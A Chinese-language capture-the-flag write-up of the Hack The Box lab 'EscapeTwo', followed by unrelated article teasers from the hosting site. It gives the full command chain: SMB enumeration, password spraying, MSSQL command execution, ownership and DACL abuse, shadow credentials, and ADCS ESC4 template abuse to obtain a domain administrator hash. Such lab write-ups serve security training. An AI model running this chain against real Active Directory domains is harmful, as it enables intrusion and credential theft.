HTB:EscapeTwo[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用nmap对靶机UDP开放端口进行脚本、服务扫描

使用smbmap枚举靶机SMB服务器共享

继续使用smbmap递归枚举`Accounting Department`共享

使用WPS打开该EXCEL文件

边界突破

使用netexec枚举靶机域内用户

使用netexec通过上述账户、密码列表进行密码喷洒

使用netexec测试这两个凭证是否可用

使用netexec通过MSSQL凭证对靶机进行目录遍历

使用netexec通过上述密码对靶机域内用户进行密码喷洒

使用evil-winrm通过上述凭证登录靶机

权限提升

使用netexec枚举靶机域内信息

使用BloodHound查看ryan用户的可传递控制对象

查看ca_svc用户信息

使用bloodyAD将ca_syc用户拥有者修改为ryan用户

使用impacket-dacledit将ryan用户对ca_svc用户的权限修改为完全控制

使用certipy-ad创建ca_svc用户影子证书

使用Certify枚举靶机域内证书模板

使用certipy-ad通过ca_svc哈希密码枚举靶机ADCS尝试发现该漏洞

使用certipy-ad通过ca_svc哈希密码重写该模板信息,使其符合攻击要求

使用certipy-ad请求一份Administrator用户符合模板要求的证书

使用certipy-ad借助pfx证书通过身份认证

使用impacket-psexec通过上述哈希凭证登录靶机


连接至HTB服务器并启动靶机

分配IP:10.10.16.22

靶机IP:10.10.11.51

靶机AD:sequel.htb

靶机DC:DC01.sequel.htb

  • 已有凭证

账户:rose

密码:KxEPkKe6R8su


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a escapetwo.htb -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,                                       
53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49689,49690,49693,49706,49722,49731,49814
                                                                                                                           
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
                                                                                                                           
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports                            
53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49689,49690,49693,49706,49722,49731,49814

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn escapetwo.htb

  • 需要重点关注的服务和信息

AD域名:sequel.htb

53端口:Domain服务

88端口:Kerberos服务

389端口:LDAP服务

445端口:SMB服务

1433端口:SQL-Server服务

5985端口:Win-RM服务

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn escapetwo.htb

使用nmap对靶机常用UDP端口进行开放扫描

nmap -sU --top-ports 20 -Pn escapetwo.htb

使用nmap对靶机UDP开放端口进行脚本、服务扫描
nmap -sU -p53,123 -sCV -Pn escapetwo.htb

使用smbmap枚举靶机SMB服务器共享

smbmap -u 'rose' -p 'KxEPkKe6R8su' -H escapetwo.htb

继续使用smbmap递归枚举`Accounting Department`共享
smbmap -u 'rose' -p 'KxEPkKe6R8su' -H escapetwo.htb -r 'Accounting Department'

  • 将`accounts.xlsx`文件下载到攻击机本地
smbmap -u 'rose' -p 'KxEPkKe6R8su' -H escapetwo.htb -r 'Accounting Department' --download './Accounting Department/accounts.xlsx'

使用WPS打开该EXCEL文件

  • 由此可得四份密码,将其保存为列表另作他用

0fwz7Q4mSpurIt99

86LxLBMgEWaKUnBG

Md9Wlq1E5bZnVDVo

MSSQLP@ssw0rd!

cat << EOF > passwds.txt

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat << EOF > passwds.txt                                    
heredoc> 0fwz7Q4mSpurIt99
86LxLBMgEWaKUnBG
Md9Wlq1E5bZnVDVo
MSSQLP@ssw0rd!
heredoc> EOF


边界突破

使用netexec枚举靶机域内用户

nxc ldap escapetwo.htb -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users

  • 将用户名提取保存成列表
nxc ldap escapetwo.htb -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users | grep -A50 Username | tail -n+2 | awk '{print $5}' | tee names.txt

使用netexec通过上述账户、密码列表进行密码喷洒
nxc ldap escapetwo.htb -d sequel.htb -u names.txt -p passwds.txt --continue-on-success

账户:oscar

密码:86LxLBMgEWaKUnBG

  • 除此之外,我还关注到sa账户密码带有mssql字样

账户:sa

密码:MSSQLP@ssw0rd!

使用netexec测试这两个凭证是否可用
nxc winrm escapetwo.htb -u 'oscar' -p '86LxLBMgEWaKUnBG'
nxc mssql escapetwo.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'whoami'

使用netexec通过MSSQL凭证对靶机进行目录遍历

nxc mssql escapetwo.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir "C:\SQL2019\ExpressAdv_ENU"'
  • C:\SQL2019\ExpressAdv_ENU目录中可见sql-Configuration.INI文件

  • 查看该文件内容
nxc mssql escapetwo.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'type "C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI"'

  • 获得一凭证

账户:SEQUEL\sql_svc

密码:WqSZAF6CysDQbGb3

使用netexec通过上述密码对靶机域内用户进行密码喷洒
nxc ldap escapetwo.htb -d sequel.htb -u names.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success

  • 测试这两个账户哪个可用于Win-RM登录
nxc winrm escapetwo.htb -d sequel.htb -u names2.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success

使用evil-winrm通过上述凭证登录靶机

evil-winrm -i escapetwo.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3'

  • C:\Users\ryan\Desktop找到user.txt文件


权限提升

使用netexec枚举靶机域内信息

nxc ldap sequel.htb -d sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3' --dns-server 10.10.11.51 --bloodhound -c All

使用BloodHound查看ryan用户的可传递控制对象

  • 由图表可见,ryan用户对ca_svc用户具有WriteOwner权限
查看ca_svc用户信息
net user ca_svc /domain

  • 由输出可见,该用户属于Cert Publishers

使用bloodyAD将ca_syc用户拥有者修改为ryan用户

bloodyAD -d escapetwo.htb --dc-ip 10.10.11.51 --dns 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# bloodyAD -d escapetwo.htb --dc-ip 10.10.11.51 --dns 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc

使用impacket-dacledit将ryan用户对ca_svc用户的权限修改为完全控制
python3.11 dacledit.py -action 'write' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3'

┌──(kali㉿kali)-[~/Desktop/temp]
└─$ python3.11 dacledit.py -action 'write' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3'            
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] DACL backed up to dacledit-20250205-014331.bak
[*] DACL modified successfully!

  • 将本地时钟与靶机同步
sudo ntpdate escapetwo.htb
使用certipy-ad创建ca_svc用户影子证书
certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -target escapetwo.htb -dc-ip 10.10.11.51 -ns 10.10.11.51

  • 与此同时获得该用户NTLM密码哈希

账户:ca_svc

密码哈希:3b181b914e7a9d5508ea1e20bc2b7fce

  • 将Certify.exe上传至靶机
upload Certify.exe
使用Certify枚举靶机域内证书模板
.\Certify.exe find /domain:sequel.htb

<...SNIP...>

  • 由输出可见,该模板对Domain Admins具有注册权利,而且Cert Publishers对该模板具有完全控制权限,因此恶意利用该模板即可获取管理员密码哈希
使用certipy-ad通过ca_svc哈希密码枚举靶机ADCS尝试发现该漏洞
certipy-ad find -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -vulnerable -stdout

  • 由末尾输出可见,利用该模板可导致ESC4漏洞攻击

使用certipy-ad通过ca_svc哈希密码重写该模板信息,使其符合攻击要求

certipy-ad template -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -k -template 'DunderMifflinAuthentication' -target DC01.sequel.htb -ns 10.10.11.51 -debug

使用certipy-ad请求一份Administrator用户符合模板要求的证书

certipy-ad req -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template 'DunderMifflinAuthentication' -upn Administrator@sequel.htb -target DC01.sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 -dc-ip 10.10.11.51
  • 这里尝试了很多次,需要在certipy-ad更新了模板后快速执行该命令才能成功

使用certipy-ad借助pfx证书通过身份认证
certipy-ad auth -pfx administrator_10.pfx

使用impacket-psexec通过上述哈希凭证登录靶机

impacket-psexec sequel.htb/administrator@10.10.11.51 -hashes 'aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff'

  • C:\Users\Administrator\Desktop目录下找到root.txt文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/964743.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

一文讲解Java中的ArrayList和LinkedList

ArrayList和LinkedList有什么区别&#xff1f; ArrayList 是基于数组实现的&#xff0c;LinkedList 是基于链表实现的。 二者用途有什么不同&#xff1f; 多数情况下&#xff0c;ArrayList更利于查找&#xff0c;LinkedList更利于增删 由于 ArrayList 是基于数组实现的&#…

多无人机--强化学习

这个是我对于我的大创项目的构思&#xff0c;随着时间逐渐更新 项目概要 我们的项目平台来自挑战杯揭绑挂帅的无人机对抗项目&#xff0c;但是在由于时间原因&#xff0c;并未考虑强化学习&#xff0c;所以现在通过大创项目来弥补遗憾 我们项目分为三部分&#xff0c;分为虚…

龙芯+FreeRTOS+LVGL实战笔记(新)——16数码管驱动

本专栏是笔者另一个专栏《龙芯+RT-Thread+LVGL实战笔记》的姊妹篇,主要的区别在于实时操作系统的不同,章节的安排和任务的推进保持一致,并对源码做了完善与优化,各位可以前往本人在B站的视频合集(图1所示)观看所有演示视频,合集首个视频链接为: https://www.bilibili.…

Day36-【13003】短文,数组的行主序方式,矩阵的压缩存储,对称、三角、稀疏矩阵和三元组线性表,广义表求长度、深度、表头、表尾等

文章目录 本次课程内容第四章 数组、广义表和串第一节 数组及广义表数组的基本操作数组的顺序存储方式-借用矩阵行列式概念二维数组C语言对应的函数-通常行主序方式 矩阵的压缩存储对称矩阵和三角矩阵压缩存储后&#xff0c;采用不同的映射函数稀疏矩阵-可以构成三元组线性表三…

[Python人工智能] 四十九.PyTorch入门 (4)利用基础模块构建神经网络并实现分类预测

从本专栏开始,作者正式研究Python深度学习、神经网络及人工智能相关知识。前文讲解PyTorch构建回归神经网络。这篇文章将介绍如何利用PyTorch构建神经网络实现分类预测,其是使用基础模块构建。前面我们的Python人工智能主要以TensorFlow和Keras为主,而现在最主流的深度学习框…

Java进阶14 TCP日志枚举

Java进阶14 TCP&日志&枚举 一、网络编程TCP Java对基于TCP协议得网络提供了良好的封装&#xff0c;使用Socket对象来代表两端的通信端口&#xff0c;并通过Socket产生IO流来进行网络通信。 1、TCP协议发数据 1.1 构造方法 方法 说明 Socket(InetAddress address…

Java三十天速成(java进阶篇)

Day 15 一、集合框架 1、集合框架图 2、数据结构&#xff1a; ①、逻辑结构&#xff1b; 在计算机科学中&#xff0c;逻辑结构是指数据元素之间的关系&#xff0c;它描述了数据元素之间的逻辑联系&#xff0c;而不是它们在计算机内存中的物理存储方式。逻辑结构可以分为以下…

专门记录台式电脑常见问题

1、蓝屏死机&#xff0c;检查内存硬盘和cpu 2、拆内存条&#xff0c;用橡皮擦金手指 3、放主板静电&#xff0c;扣主板电池 4、系统时间不正确&#xff0c;主板电池没电 5、开机键坏了 6、电脑主机的风扇转&#xff0c;正常通电运行&#xff0c;但显示器没信号。看键盘的num键&…

ubuntu22.40安装及配置静态ip解决重启后配置失效

遇到这种错误&#xff0c;断网安装即可&#xff01; 在Ubuntu中配置静态IP地址的步骤如下。根据你使用的Ubuntu版本&#xff08;如 Netplan 或传统的 ifupdown&#xff09;&#xff0c;配置方法有所不同。以下是基于 Netplan 的配置方法&#xff08;适用于Ubuntu 17.10及更高版…

北大AGI与具身智能评估新范式!Tong测试:基于动态具身物理和社会互动的评估标准

作者&#xff1a;Yujia Peng, Jiaheng Han, Zhenliang Zhang, Lifeng Fan, Tengyu Liu, Siyuan Qi, Xue Feng, Yuxi Ma, Yizhou Wang, Song-Chun Zhu 单位&#xff1a;北京通用人工智能研究院国家通用人工智能重点实验室&#xff0c;北京大学人工智能研究所&#xff0c;北京大…

DeePseek结合PS!批量处理图片的方法教程

​ ​ 今天我们来聊聊如何利用deepseek和Photoshop&#xff08;PS&#xff09;实现图片的批量处理。 传统上&#xff0c;批量修改图片尺寸、分辨率等任务往往需要编写脚本或手动处理&#xff0c;而现在有了AI的辅助&#xff0c;我们可以轻松生成PS脚本&#xff0c;实现自动化处…

OkHttpClient请求失败处理与网页下载成功实践

在现代的网络应用开发中&#xff0c;数据的获取和处理是核心任务之一。无论是从第三方API获取数据&#xff0c;还是从网页中提取内容&#xff0c;网络请求都是不可或缺的环节。在Java中&#xff0c;OkHttp是一个非常流行且功能强大的HTTP客户端库&#xff0c;它提供了简洁的API…

Idea ⽆ Maven 选项

Idea ⽆ Maven 选项 1. 在 Idea 项⽬上右键2. 选中 Maven 选项 如果在创建 Spring/Spring Boot 项⽬时&#xff0c;Idea 右侧没有 Maven 选项&#xff0c;如下图所示&#xff1a; 此时可以使⽤以下⽅式解决。 1. 在 Idea 项⽬上右键 2. 选中 Maven 选项 选中 Maven 之后&#…

Vue3状态管理: Pinia使用技巧与最佳实践

Vue3状态管理: Pinia使用技巧与最佳实践 随着Web应用复杂度的提升&#xff0c;前端状态管理变得愈发重要。而在Vue3中&#xff0c;Pinia作为一种全新的状态管理工具&#xff0c;为我们提供了更加灵活和强大的状态管理解决方案。本文将从Pinia的基本概念入手&#xff0c;深入探讨…

从零开始实现一个双向循环链表:C语言实战

文章目录 1链表的再次介绍2为什么选择双向循环链表&#xff1f;3代码实现&#xff1a;从初始化到销毁1. 定义链表节点2. 初始化链表3. 插入和删除节点4. 链表的其他操作5. 打印链表和判断链表是否为空6. 销毁链表 4测试代码5链表种类介绍6链表与顺序表的区别7存储金字塔L0: 寄存…

AI推理性能之王-Groq公司开发的LPU芯片

Groq公司开发的LPU&#xff08;Language Processing Unit&#xff0c;语言处理单元&#xff09;芯片是一种专为加速大规模语言模型&#xff08;LLM&#xff09;和其他自然语言处理任务而设计的新型AI处理器。以下是对其技术特点、性能优势及市场影响的深度介绍&#xff1a; 技…

【玩转 Postman 接口测试与开发2_016】第13章:在 Postman 中实现契约测试(Contract Testing)与 API 接口验证(上)

《API Testing and Development with Postman》最新第二版封面 文章目录 第十三章 契约测试与 API 接口验证1 契约测试的概念2 契约测试的工作原理3 契约测试的分类4 DeepSeek 给出的契约测试相关背景5 契约测试在 Postman 中的创建方法6 API 实例的基本用法7 API 实例的类型实…

The specified Gradle distribution ‘gradle-bin.zip‘ does not exist.

The specified Gradle distribution ‘https://services.gradle.org/distributions/gradle-bin.zip’ does not exist. distributionUrl不存在&#xff0c;关联不上&#xff0c;下载不了&#xff0c;那就匹配一个能下载的 distributionUrlhttps://services.gradle.org/distrib…

【Linux系统】线程:认识线程、线程与进程统一理解

一、更新认知 之前的认知 进程&#xff1a;一个执行起来的程序。进程 内核数据结构 代码和数据线程&#xff1a;执行流&#xff0c;执行粒度比进程要更细。是进程内部的一个执行分值 更新认识&#xff1a; a. 进程是承担分配系统资源的基本实体b. 线程是OS调度的基本单位 …

请求响应(接上篇)

请求 日期参数 需要在前面加上一个注解DateTimeFormat来接收传入的参数的值 Json参数 JSON参数&#xff1a;JSON数据键名与形参对象属性名相同&#xff0c;定义POJO类型形参即可接收参数&#xff0c;需要使用 RequestBody 标识 通过RequestBody将JSON格式的数据封装到实体类…